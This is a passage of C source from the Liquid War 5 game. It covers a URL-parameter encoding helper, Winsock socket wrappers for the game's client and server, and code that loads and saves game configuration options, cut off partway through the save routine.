is transformed into " ", this is to allow more * easily people to submit spaces while using command line arguments * with the server. */ void lw_httputil_text_to_urlparam (char *urlparam, char *text, int size) { int i, j; char buffer[33]; unsigned char c; memset (urlparam, 0, size + 1); j = 0; for (i = 0; text[i] && j < size; ++i) { if (text[i] == '_') { c = ' '; } else { c = text[i]; } if (isalnum (c)) { urlparam[j] = c; j++; } else { if (j < size - 2) { LW_MACRO_SPRINTF1 (buffer, "%X", c); urlparam[j] = '%'; urlparam[j + 1] = buffer[0]; urlparam[j + 2] = buffer[1]; } j += 3; } } } liquidwar-5.6.5/src/sockw32.c0000664000372000037200000002456513407756104015403 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sockw32.c */ /* content : simple wrappers on the winsock API */ /* last update : April 13th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #endif #include #include #include #include #include "sockgen.h" #include "log.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #define LW_SOCK_NB_BACKLOG 10 #define LW_SOCK_ACCEPT_SEC 1 #define LW_SOCK_ACCEPT_USEC 0 #define LW_DESIRED_WINSOCK_VERSION 0x0101 /*==================================================================*/ /* macros */ /*==================================================================*/ #ifndef MIN #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif /*==================================================================*/ /* globals */ /*==================================================================*/ int LW_SOCK_LOG = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Useless on UNIX, this function is usefull on Microsh*t Windozs * where one has to "initialize" the winsock api 8-( */ int lw_sock_init () { int result = 0; int err; WSADATA wsadata; err = WSAStartup (LW_DESIRED_WINSOCK_VERSION, &wsadata); if (err != 0) { if (LW_SOCK_LOG) { log_println_str ("Unable to initialize winsock API"); } } else { result = 1; } return result; } /*------------------------------------------------------------------*/ /* * Useless on UNIX. */ int lw_sock_exit () { int result = 1; WSACleanup (); return result; } /*------------------------------------------------------------------*/ /* * Creates, binds and prepares a TCP socket for listening. * This is usefull on the server. */ int lw_sock_listen (int *sock, int port) { int result = 0; struct sockaddr_in name; int enable = 1; *sock = socket (AF_INET, SOCK_STREAM, 0); if (*sock >= 0) { setsockopt (*sock, SOL_SOCKET, SO_REUSEADDR, (char *) &enable, sizeof (int)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons ((short) port); if (bind (*sock, (struct sockaddr *) &name, sizeof name) >= 0) { if (listen ((*sock), LW_SOCK_NB_BACKLOG) >= 0) { result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Accepts an incoming connexion from a program which has issued a * connect. Usefull on the server. */ int lw_sock_accept (int *new_sock, char *ip, int *port, int listening_sock, int wait) { int result = 0; struct sockaddr_in name; int namelen = sizeof (struct sockaddr_in); fd_set read; struct timeval tv; int res; int enable = 1; int disable = 0; unsigned long disable_ul = 0; struct linger li; *new_sock = -1; ip[0] = '\0'; *port = 0; if (listening_sock >= 0) { FD_ZERO (&read); FD_SET (listening_sock, &read); if (wait) { tv.tv_sec = LW_SOCK_ACCEPT_SEC; tv.tv_usec = LW_SOCK_ACCEPT_USEC; } else { tv.tv_sec = 0; tv.tv_usec = 0; } res = select (listening_sock + 1, &read, NULL, NULL, &tv); if (res >= 1) { (*new_sock) = accept (listening_sock, (struct sockaddr *) &name, &namelen); if ((*new_sock) >= 0) { li.l_onoff = 0; li.l_linger = 0; setsockopt (*new_sock, SOL_SOCKET, SO_KEEPALIVE, (char *) &enable, sizeof (int)); setsockopt (*new_sock, SOL_SOCKET, SO_OOBINLINE, (char *) &disable, sizeof (int)); setsockopt (*new_sock, SOL_SOCKET, SO_LINGER, (char *) &li, sizeof (struct linger)); ioctlsocket (*new_sock, FIONBIO, &disable_ul); strncpy (ip, inet_ntoa (name.sin_addr), LW_SOCK_IP_SIZE - 1); ip[LW_SOCK_IP_SIZE - 1] = 0; (*port) = (int) ntohs (name.sin_port); result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Establishes a connection. The remote must have called sock_listen * first and must confirm the acceptation with a sock_accept. * Usefull on the client. */ int lw_sock_connect (int *sock, char *ip, int port) { int result = 0; struct sockaddr_in name; int enable = 1; int disable = 0; unsigned long disable_ul = 0; struct linger li; *sock = socket (AF_INET, SOCK_STREAM, 0); if (*sock >= 0) { name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = 0; if (bind (*sock, (struct sockaddr *) &name, sizeof name) >= 0) { name.sin_family = AF_INET; name.sin_addr.s_addr = inet_addr (ip); name.sin_port = htons ((short) port); if (connect ((*sock), (struct sockaddr *) &name, sizeof name) >= 0) { /* * Added this code copied/paste from accept. * don'tknow if it's usefull */ li.l_onoff = 0; li.l_linger = 0; setsockopt (*sock, SOL_SOCKET, SO_KEEPALIVE, (char *) &enable, sizeof (int)); setsockopt (*sock, SOL_SOCKET, SO_OOBINLINE, (char *) &disable, sizeof (int)); setsockopt (*sock, SOL_SOCKET, SO_LINGER, (char *) &li, sizeof (struct linger)); ioctlsocket (*sock, FIONBIO, &disable_ul); result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Closes a socket for good. */ int lw_sock_close (int *sock) { int result = 0; int sock_to_close; /* * We set *sock to 0 before we close it. This should reduce * thread problems */ sock_to_close = *sock; (*sock) = -1; if (shutdown (sock_to_close, 2) != 0) { /* * We could print a warning here. */ } if (closesocket (sock_to_close) != 0) { /* * Strange error, was the socket really opened? */ } else { result = 1; } return result; } liquidwar-5.6.5/src/config.c0000664000372000037200000006164613407756104015356 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : config.c */ /* contenu : tout ce qui se rattache a la config */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "config.h" #include "disk.h" #include "joystick.h" #include "keyboard.h" #include "mouse.h" #include "palette.h" #include "startup.h" #include "server.h" #include "lang.h" #include "macro.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define DUMMY_VALUE 5003000 #define LABEL_MAIN "MAIN" #define LABEL_DUMMY "DUMMY" #define LABEL_GFX_GAME "GFX_GAME" #define LABEL_GFX_MENU "GFX_MENU" #define LABEL_FULLSCREEN "FULLSCREEN" #define LABEL_VIEWPORT_SIZE "VIEWPORT_SIZE" #define LABEL_WAVE_NUMBER "WAVE_NUMBER" #define LABEL_WAVE_AMPLI "WAVE_AMPLI" #define LABEL_WAVE_SPEED "WAVE_SPEED" #define LABEL_BRIGHTNESS "BRIGHTNESS" #define LABEL_CURSOR_INCREASE_SPEED "CURSOR_INCREASE_SPEED" #define LABEL_FIGHTER_ATTACK "FIGHTER_ATTACK" #define LABEL_FIGHTER_DEFENSE "FIGHTER_DEFENSE" #define LABEL_FIGHTER_NEW_HEALTH "FIGHTER_NEW_HEALTH" #define LABEL_NUMBER_INFLUENCE "NUMBER_INFLUENCE" #define LABEL_SFX_VOLUME "SFX_VOLUME" #define LABEL_CLICK_VOLUME "CLICK_VOLUME" #define LABEL_WATER_VOLUME_MENU "WATER_VOLUME_MENU" #define LABEL_WATER_VOLUME_GAME "WATER_VOLUME_GAME" #define LABEL_MUSIC_VOLUME "MUSIC_VOLUME" #define LABEL_LEVEL_MAP "LEVEL_MAP" #define LABEL_LEVEL_FG "LEVEL_FG" #define LABEL_LEVEL_BG "LEVEL_BG" #define LABEL_FIGHTER_NUMBER "FIGHTER_NUMBER" #define LABEL_KEY_UP "KEY_UP" #define LABEL_KEY_LEFT "KEY_LEFT" #define LABEL_KEY_DOWN "KEY_DOWN" #define LABEL_KEY_RIGHT "KEY_RIGHT" #define LABEL_TEAM_COLOR "TEAM_COLOR" #define LABEL_CONTROL_TYPE "CONTROL_TYPE" #define LABEL_PLAYER_NAME "PLAYER_NAME" #define LABEL_GAME_TIME "GAME_TIME" #define LABEL_INFO_BAR "INFO_BAR" #define LABEL_MOUSE_GAP "MOUSE_GAP" #define LABEL_JOYSTICK_ON "JOYSTICK_ON" #define LABEL_CPU_ADVANTAGE "CPU_ADVANTAGE" #define LABEL_CPU_VS_HUMAN "CPU_VS_HUMAN" #define LABEL_PAGE_FLIP "PAGE_FLIP" #define LABEL_LANGUAGE "LANGUAGE" #define LABEL_WAVE_ON "WAVE_ON" #define LABEL_FRAMES_PER_SEC_LIMIT "FRAMES_PER_SEC_LIMIT" #define LABEL_ROUNDS_PER_SEC_LIMIT "ROUNDS_PER_SEC_LIMIT" #define LABEL_SERVER_ADDRESS "SERVER_ADDRESS" #define LABEL_SERVER_PORT "SERVER_PORT" #define LABEL_ASM_ALGORITHM "ASM_ALGORITHM" #define LABEL_PASSWORD "PASSWORD" #define LABEL_MIN_MAP_RES "MIN_MAP_RES" #define LABEL_USE_DEFAULT_TEXTURE "USE_DEFAULT_TEXTURE" #define LABEL_ALLOW_NETWORK_BOTS "ALLOW_NETWORK_BOTS" #define LABEL_LW6_ADVERTISING_SKIP "LW6_ADVERTISING_SKIP" #define LABEL_LW6_ADVERTISING_DONE "LW6_ADVERTISING_DONE" int CONFIG_GFX_GAME; int CONFIG_GFX_MENU; int CONFIG_FULLSCREEN; int CONFIG_VIEWPORT_SIZE; int CONFIG_WAVE_NUMBER[4]; int CONFIG_WAVE_AMPLI[4]; int CONFIG_WAVE_SPEED[4]; int CONFIG_BRIGHTNESS; int CONFIG_CURSOR_INCREASE_SPEED; int CONFIG_FIGHTER_ATTACK; int CONFIG_FIGHTER_DEFENSE; int CONFIG_FIGHTER_NEW_HEALTH; int CONFIG_NUMBER_INFLUENCE; int CONFIG_SFX_VOLUME; int CONFIG_CLICK_VOLUME; int CONFIG_WATER_VOLUME_MENU; int CONFIG_WATER_VOLUME_GAME; int CONFIG_MUSIC_VOLUME; int CONFIG_LEVEL_MAP; int CONFIG_LEVEL_FG; int CONFIG_LEVEL_BG; int CONFIG_FIGHTER_NUMBER; int CONFIG_KEY_UP[NB_TEAMS]; int CONFIG_KEY_LEFT[NB_TEAMS]; int CONFIG_KEY_DOWN[NB_TEAMS]; int CONFIG_KEY_RIGHT[NB_TEAMS]; int CONFIG_TEAM_COLOR[NB_TEAMS]; int CONFIG_CONTROL_TYPE[NB_TEAMS]; char CONFIG_PLAYER_NAME[NB_TEAMS][NAME_SIZE + 1]; int CONFIG_GAME_TIME; int CONFIG_INFO_BAR; int CONFIG_MOUSE_GAP; int CONFIG_JOYSTICK_ON; int CONFIG_CPU_ADVANTAGE; int CONFIG_CPU_VS_HUMAN; int CONFIG_PAGE_FLIP; int CONFIG_LANGUAGE; int CONFIG_WAVE_ON; int CONFIG_FRAMES_PER_SEC_LIMIT; int CONFIG_ROUNDS_PER_SEC_LIMIT; char CONFIG_SERVER_ADDRESS[SERVER_ADDRESS_SIZE + 1]; int CONFIG_SERVER_PORT; int CONFIG_ASM_ALGORITHM; char CONFIG_PASSWORD[PASSWORD_SIZE + 1]; int CONFIG_MIN_MAP_RES; int CONFIG_USE_DEFAULT_TEXTURE; int CONFIG_ALLOW_NETWORK_BOTS; int CONFIG_LW6_ADVERTISING_SKIP; int CONFIG_LW6_ADVERTISING_DONE; LW_NETCONF LW_CONFIG_CURRENT_RULES; /*==================================================================*/ /* constantes globales */ /*==================================================================*/ int DISPLAY_DELAY_MIN[9] = { 0, 10, 15, 20, 25, 33, 40, 55, 100 }; int LOGIC_DELAY_MIN[9] = { 0, 1, 2, 5, 10, 15, 20, 33, 50 }; int MIN_MAP_RES_W[9] = { 0, 80, 120, 160, 200, 240, 320, 480, 640 }; int MIN_MAP_RES_H[9] = { 0, 60, 90, 120, 150, 180, 240, 360, 480 }; /*------------------------------------------------------------------*/ /* fonctions de gestion des parametres de configuration */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ void load_default_options (void) { #ifdef DOS CONFIG_GFX_GAME = 0; CONFIG_GFX_MENU = 2; #else CONFIG_GFX_GAME = 2; CONFIG_GFX_MENU = 2; #endif #ifdef UNIX /* * Under UNIX/X11, we default to windowed mode since * fullscreen modes under Xfree86 can be unconfigured and/or * buggy depending on window manager and other stuff */ CONFIG_FULLSCREEN = 0; #else CONFIG_FULLSCREEN = 1; #endif CONFIG_VIEWPORT_SIZE = 6; CONFIG_WAVE_NUMBER[0] = 2; CONFIG_WAVE_NUMBER[1] = 2; CONFIG_WAVE_NUMBER[2] = 2; CONFIG_WAVE_NUMBER[3] = 2; CONFIG_WAVE_AMPLI[0] = 8; CONFIG_WAVE_AMPLI[1] = 8; CONFIG_WAVE_AMPLI[2] = 8; CONFIG_WAVE_AMPLI[3] = 8; CONFIG_WAVE_SPEED[0] = 6; CONFIG_WAVE_SPEED[1] = 7; CONFIG_WAVE_SPEED[2] = 8; CONFIG_WAVE_SPEED[3] = 9; CONFIG_BRIGHTNESS = 8; CONFIG_SFX_VOLUME = 12; CONFIG_CLICK_VOLUME = 8; CONFIG_WATER_VOLUME_MENU = 6; CONFIG_WATER_VOLUME_GAME = 10; CONFIG_MUSIC_VOLUME = 12; CONFIG_LEVEL_MAP = 0; CONFIG_LEVEL_FG = 135; CONFIG_LEVEL_BG = 131; CONFIG_KEY_UP[0] = KEY_UP; CONFIG_KEY_DOWN[0] = KEY_DOWN; CONFIG_KEY_LEFT[0] = KEY_LEFT; CONFIG_KEY_RIGHT[0] = KEY_RIGHT; CONFIG_TEAM_COLOR[0] = 0; CONFIG_CONTROL_TYPE[0] = CONFIG_CONTROL_TYPE_HUMAN; LW_MACRO_STRCPY (CONFIG_PLAYER_NAME[0], "Napoleon"); CONFIG_KEY_UP[1] = KEY_I; CONFIG_KEY_DOWN[1] = KEY_K; CONFIG_KEY_LEFT[1] = KEY_J; CONFIG_KEY_RIGHT[1] = KEY_L; CONFIG_TEAM_COLOR[1] = 4; CONFIG_CONTROL_TYPE[1] = CONFIG_CONTROL_TYPE_OFF; LW_MACRO_STRCPY (CONFIG_PLAYER_NAME[1], "Clovis"); CONFIG_KEY_UP[2] = KEY_UP; CONFIG_KEY_DOWN[2] = KEY_DOWN; CONFIG_KEY_LEFT[2] = KEY_LEFT; CONFIG_KEY_RIGHT[2] = KEY_RIGHT; CONFIG_TEAM_COLOR[2] = 8; CONFIG_CONTROL_TYPE[2] = CONFIG_CONTROL_TYPE_OFF; LW_MACRO_STRCPY (CONFIG_PLAYER_NAME[2], "Henri IV"); CONFIG_KEY_UP[3] = KEY_Q; CONFIG_KEY_DOWN[3] = KEY_A; CONFIG_KEY_LEFT[3] = KEY_Z; CONFIG_KEY_RIGHT[3] = KEY_X; CONFIG_TEAM_COLOR[3] = 6; CONFIG_CONTROL_TYPE[3] = CONFIG_CONTROL_TYPE_OFF; LW_MACRO_STRCPY (CONFIG_PLAYER_NAME[3], "Cesar"); CONFIG_KEY_UP[4] = KEY_8_PAD; CONFIG_KEY_DOWN[4] = KEY_5_PAD; CONFIG_KEY_LEFT[4] = KEY_4_PAD; CONFIG_KEY_RIGHT[4] = KEY_6_PAD; CONFIG_TEAM_COLOR[4] = 10; CONFIG_CONTROL_TYPE[4] = CONFIG_CONTROL_TYPE_OFF; LW_MACRO_STRCPY (CONFIG_PLAYER_NAME[4], "Geronimo"); CONFIG_KEY_UP[5] = KEY_MOUSE_UP; CONFIG_KEY_DOWN[5] = KEY_MOUSE_DOWN; CONFIG_KEY_LEFT[5] = KEY_MOUSE_LEFT; CONFIG_KEY_RIGHT[5] = KEY_MOUSE_RIGHT; CONFIG_TEAM_COLOR[5] = 3; CONFIG_CONTROL_TYPE[5] = CONFIG_CONTROL_TYPE_CPU; LW_MACRO_STRCPY (CONFIG_PLAYER_NAME[5], "Attila"); CONFIG_INFO_BAR = 1; CONFIG_MOUSE_GAP = 4; CONFIG_JOYSTICK_ON = 1; CONFIG_PAGE_FLIP = 0; CONFIG_LANGUAGE = LW_LANG_LANGUAGE_AUTO; /* * Previous versions used to have waves disabled on behalf * of performance, with today computers being 100 times faster * than primitive stuff that ran LW in the first place, one * might admit this is on by default. Looks better. */ CONFIG_WAVE_ON = 1; CONFIG_FRAMES_PER_SEC_LIMIT = 6; CONFIG_ROUNDS_PER_SEC_LIMIT = 4; LW_MACRO_STRCPY (CONFIG_SERVER_ADDRESS, LW_SERVER_DEFAULT_ADDRESS); CONFIG_SERVER_PORT = LW_SERVER_DEFAULT_PORT; LW_MACRO_STRCPY (CONFIG_PASSWORD, "toto"); CONFIG_USE_DEFAULT_TEXTURE = 1; /* * TBH I'm really questionning myself wether I should advertise * for LW6 at this stage. Given the fact, very likely, if I push * something strong, it might be called Liquid War 7. Even numbers * are cursed in the LW series. */ CONFIG_LW6_ADVERTISING_SKIP = 1; CONFIG_LW6_ADVERTISING_DONE = 0; load_default_rules (); } /*------------------------------------------------------------------*/ void load_default_rules (void) { CONFIG_CURSOR_INCREASE_SPEED = 0; CONFIG_FIGHTER_ATTACK = 8; CONFIG_FIGHTER_DEFENSE = 8; CONFIG_FIGHTER_NEW_HEALTH = 8; CONFIG_NUMBER_INFLUENCE = 8; CONFIG_FIGHTER_NUMBER = 16; CONFIG_GAME_TIME = 8; CONFIG_CPU_ADVANTAGE = 0; CONFIG_CPU_VS_HUMAN = CONFIG_CPU_VS_HUMAN_RANDOM; CONFIG_ASM_ALGORITHM = 1; CONFIG_MIN_MAP_RES = 4; CONFIG_ALLOW_NETWORK_BOTS = 0; } /*------------------------------------------------------------------*/ static int load_disk_options (void) { char number_string[2] = { '0', 0 }; int i; load_default_options (); set_config_file (STARTUP_CFG_PATH); if (get_config_int (LABEL_MAIN, LABEL_DUMMY, 0) == DUMMY_VALUE) { CONFIG_GFX_GAME = get_config_int (LABEL_MAIN, LABEL_GFX_GAME, CONFIG_GFX_GAME); CONFIG_GFX_MENU = get_config_int (LABEL_MAIN, LABEL_GFX_MENU, CONFIG_GFX_MENU); CONFIG_FULLSCREEN = get_config_int (LABEL_MAIN, LABEL_FULLSCREEN, CONFIG_FULLSCREEN); CONFIG_VIEWPORT_SIZE = get_config_int (LABEL_MAIN, LABEL_VIEWPORT_SIZE, CONFIG_VIEWPORT_SIZE); for (i = 0; i < 4; ++i) { number_string[0] = '0' + i; CONFIG_WAVE_NUMBER[i] = get_config_int (LABEL_WAVE_NUMBER, number_string, CONFIG_WAVE_NUMBER[i]); CONFIG_WAVE_AMPLI[i] = get_config_int (LABEL_WAVE_AMPLI, number_string, CONFIG_WAVE_AMPLI[i]); CONFIG_WAVE_SPEED[i] = get_config_int (LABEL_WAVE_SPEED, number_string, CONFIG_WAVE_SPEED[i]); } CONFIG_BRIGHTNESS = get_config_int (LABEL_MAIN, LABEL_BRIGHTNESS, CONFIG_BRIGHTNESS); CONFIG_CURSOR_INCREASE_SPEED = get_config_int (LABEL_MAIN, LABEL_CURSOR_INCREASE_SPEED, CONFIG_CURSOR_INCREASE_SPEED); CONFIG_FIGHTER_ATTACK = get_config_int (LABEL_MAIN, LABEL_FIGHTER_ATTACK, CONFIG_FIGHTER_ATTACK); CONFIG_FIGHTER_DEFENSE = get_config_int (LABEL_MAIN, LABEL_FIGHTER_DEFENSE, CONFIG_FIGHTER_DEFENSE); CONFIG_FIGHTER_NEW_HEALTH = get_config_int (LABEL_MAIN, LABEL_FIGHTER_NEW_HEALTH, CONFIG_FIGHTER_NEW_HEALTH); CONFIG_NUMBER_INFLUENCE = get_config_int (LABEL_MAIN, LABEL_NUMBER_INFLUENCE, CONFIG_NUMBER_INFLUENCE); CONFIG_SFX_VOLUME = get_config_int (LABEL_MAIN, LABEL_SFX_VOLUME, CONFIG_SFX_VOLUME); CONFIG_CLICK_VOLUME = get_config_int (LABEL_MAIN, LABEL_CLICK_VOLUME, CONFIG_CLICK_VOLUME); CONFIG_WATER_VOLUME_MENU = get_config_int (LABEL_MAIN, LABEL_WATER_VOLUME_MENU, CONFIG_WATER_VOLUME_MENU); CONFIG_WATER_VOLUME_GAME = get_config_int (LABEL_MAIN, LABEL_WATER_VOLUME_GAME, CONFIG_WATER_VOLUME_GAME); CONFIG_MUSIC_VOLUME = get_config_int (LABEL_MAIN, LABEL_MUSIC_VOLUME, CONFIG_MUSIC_VOLUME); CONFIG_LEVEL_MAP = get_config_int (LABEL_MAIN, LABEL_LEVEL_MAP, CONFIG_LEVEL_MAP); CONFIG_LEVEL_FG = get_config_int (LABEL_MAIN, LABEL_LEVEL_FG, CONFIG_LEVEL_FG); CONFIG_LEVEL_BG = get_config_int (LABEL_MAIN, LABEL_LEVEL_BG, CONFIG_LEVEL_BG); CONFIG_FIGHTER_NUMBER = get_config_int (LABEL_MAIN, LABEL_FIGHTER_NUMBER, CONFIG_FIGHTER_NUMBER); for (i = 0; i < 6; ++i) { number_string[0] = '0' + i; CONFIG_KEY_UP[i] = get_config_int (LABEL_KEY_UP, number_string, CONFIG_KEY_UP[i]); CONFIG_KEY_LEFT[i] = get_config_int (LABEL_KEY_LEFT, number_string, CONFIG_KEY_LEFT[i]); CONFIG_KEY_DOWN[i] = get_config_int (LABEL_KEY_DOWN, number_string, CONFIG_KEY_DOWN[i]); CONFIG_KEY_RIGHT[i] = get_config_int (LABEL_KEY_RIGHT, number_string, CONFIG_KEY_RIGHT[i]); CONFIG_TEAM_COLOR[i] = get_config_int (LABEL_TEAM_COLOR, number_string, CONFIG_TEAM_COLOR[i]); CONFIG_CONTROL_TYPE[i] = get_config_int (LABEL_CONTROL_TYPE, number_string, CONFIG_CONTROL_TYPE[i]); strncpy (CONFIG_PLAYER_NAME[i], get_config_string (LABEL_PLAYER_NAME, number_string, CONFIG_PLAYER_NAME[i]), NAME_SIZE); CONFIG_PLAYER_NAME[i][NAME_SIZE] = '\0'; } CONFIG_GAME_TIME = get_config_int (LABEL_MAIN, LABEL_GAME_TIME, CONFIG_GAME_TIME); CONFIG_INFO_BAR = get_config_int (LABEL_MAIN, LABEL_INFO_BAR, CONFIG_INFO_BAR); CONFIG_MOUSE_GAP = get_config_int (LABEL_MAIN, LABEL_MOUSE_GAP, CONFIG_MOUSE_GAP); CONFIG_JOYSTICK_ON = get_config_int (LABEL_MAIN, LABEL_JOYSTICK_ON, CONFIG_JOYSTICK_ON); CONFIG_CPU_ADVANTAGE = get_config_int (LABEL_MAIN, LABEL_CPU_ADVANTAGE, CONFIG_CPU_ADVANTAGE); CONFIG_CPU_VS_HUMAN = get_config_int (LABEL_MAIN, LABEL_CPU_VS_HUMAN, CONFIG_CPU_VS_HUMAN); CONFIG_PAGE_FLIP = get_config_int (LABEL_MAIN, LABEL_PAGE_FLIP, CONFIG_PAGE_FLIP); CONFIG_LANGUAGE = get_config_int (LABEL_MAIN, LABEL_LANGUAGE, CONFIG_LANGUAGE); CONFIG_WAVE_ON = get_config_int (LABEL_MAIN, LABEL_WAVE_ON, CONFIG_WAVE_ON); CONFIG_FRAMES_PER_SEC_LIMIT = get_config_int (LABEL_MAIN, LABEL_FRAMES_PER_SEC_LIMIT, CONFIG_FRAMES_PER_SEC_LIMIT); CONFIG_ROUNDS_PER_SEC_LIMIT = get_config_int (LABEL_MAIN, LABEL_ROUNDS_PER_SEC_LIMIT, CONFIG_ROUNDS_PER_SEC_LIMIT); strncpy (CONFIG_SERVER_ADDRESS, get_config_string (LABEL_MAIN, LABEL_SERVER_ADDRESS, CONFIG_SERVER_ADDRESS), sizeof (CONFIG_SERVER_ADDRESS)); CONFIG_SERVER_ADDRESS[sizeof (CONFIG_SERVER_ADDRESS) - 1] = '\0'; CONFIG_SERVER_PORT = get_config_int (LABEL_MAIN, LABEL_SERVER_PORT, CONFIG_SERVER_PORT); CONFIG_ASM_ALGORITHM = get_config_int (LABEL_MAIN, LABEL_ASM_ALGORITHM, CONFIG_ASM_ALGORITHM); strncpy (CONFIG_PASSWORD, get_config_string (LABEL_MAIN, LABEL_PASSWORD, CONFIG_PASSWORD), sizeof (CONFIG_PASSWORD)); CONFIG_PASSWORD[sizeof (CONFIG_PASSWORD) - 1] = '\0'; CONFIG_MIN_MAP_RES = get_config_int (LABEL_MAIN, LABEL_MIN_MAP_RES, CONFIG_MIN_MAP_RES); CONFIG_USE_DEFAULT_TEXTURE = get_config_int (LABEL_MAIN, LABEL_USE_DEFAULT_TEXTURE, CONFIG_USE_DEFAULT_TEXTURE); CONFIG_ALLOW_NETWORK_BOTS = get_config_int (LABEL_MAIN, LABEL_ALLOW_NETWORK_BOTS, CONFIG_ALLOW_NETWORK_BOTS); CONFIG_LW6_ADVERTISING_SKIP = get_config_int (LABEL_MAIN, LABEL_LW6_ADVERTISING_SKIP, CONFIG_LW6_ADVERTISING_SKIP); CONFIG_LW6_ADVERTISING_DONE = get_config_int (LABEL_MAIN, LABEL_LW6_ADVERTISING_DONE, CONFIG_LW6_ADVERTISING_DONE); return 1; } else { return 0; } } /*------------------------------------------------------------------*/ int load_config_options (void) { int result; result = load_disk_options (); /* * Any special hack can go here 8-) */ lw_config_set_current_rules_to_default (); return result; } /*------------------------------------------------------------------*/ int save_config_options (void) { char number_string[2] = { '0', 0 }; int i; set_config_file (STARTUP_CFG_PATH); set_config_int (LABEL_MAIN, LABEL_DUMMY, DUMMY_VALUE); set_config_int (LABEL_MAIN, LABEL_GFX_GAME, CONFIG_GFX_GAME); set_config_int (LABEL_MAIN, LABEL_GFX_MENU, CONFIG_GFX_MENU); set_config_int (LABEL_MAIN, LABEL_FULLSCREEN, CONFIG_FULLSCREEN); set_config_int (LABEL_MAIN, LABEL_VIEWPORT_SIZE, CONFIG_VIEWPORT_SIZE); for (i = 0; i < 4; ++i) { number_string[0] = '0' + i; set_config_int (LABEL_WAVE_NUMBER, number_string, CONFIG_WAVE_NUMBER[i]); set_config_int (LABEL_WAVE_AMPLI, number_string, CONFIG_WAVE_AMPLI[i]); set_config_int (LABEL_WAVE_SPEED, number_string, CONFIG_WAVE_SPEED[i]); } set_config_int (LABEL_MAIN, LABEL_BRIGHTNESS, CONFIG_BRIGHTNESS); set_config_int (LABEL_MAIN, LABEL_CURSOR_INCREASE_SPEED, CONFIG_CURSOR_INCREASE_SPEED); set_config_int (LABEL_MAIN, LABEL_FIGHTER_ATTACK, CONFIG_FIGHTER_ATTACK); set_config_int (LABEL_MAIN, LABEL_FIGHTER_DEFENSE, CONFIG_FIGHTER_DEFENSE); set_config_int (LABEL_MAIN, LABEL_FIGHTER_NEW_HEALTH, CONFIG_FIGHTER_NEW_HEALTH); set_config_int (LABEL_MAIN, LABEL_NUMBER_INFLUENCE, CONFIG_NUMBER_INFLUENCE); set_config_int (LABEL_MAIN, LABEL_SFX_VOLUME, CONFIG_SFX_VOLUME); set_config_int (LABEL_MAIN, LABEL_CLICK_VOLUME, CONFIG_CLICK_VOLUME); set_config_int (LABEL_MAIN, LABEL_WATER_VOLUME_MENU, CONFIG_WATER_VOLUME_MENU); set_config_int (LABEL_MAIN, LABEL_WATER_VOLUME_GAME, CONFIG_WATER_VOLUME_GAME); set_config_int (LABEL_MAIN, LABEL_MUSIC_VOLUME, CONFIG_MUSIC_VOLUME); set_config_int (LABEL_MAIN, LABEL_LEVEL_MAP, CONFIG_LEVEL_MAP); set_config_int (LABEL_MAIN, LABEL_LEVEL_FG, CONFIG_LEVEL_FG); set_config_int (LABEL_MAIN, 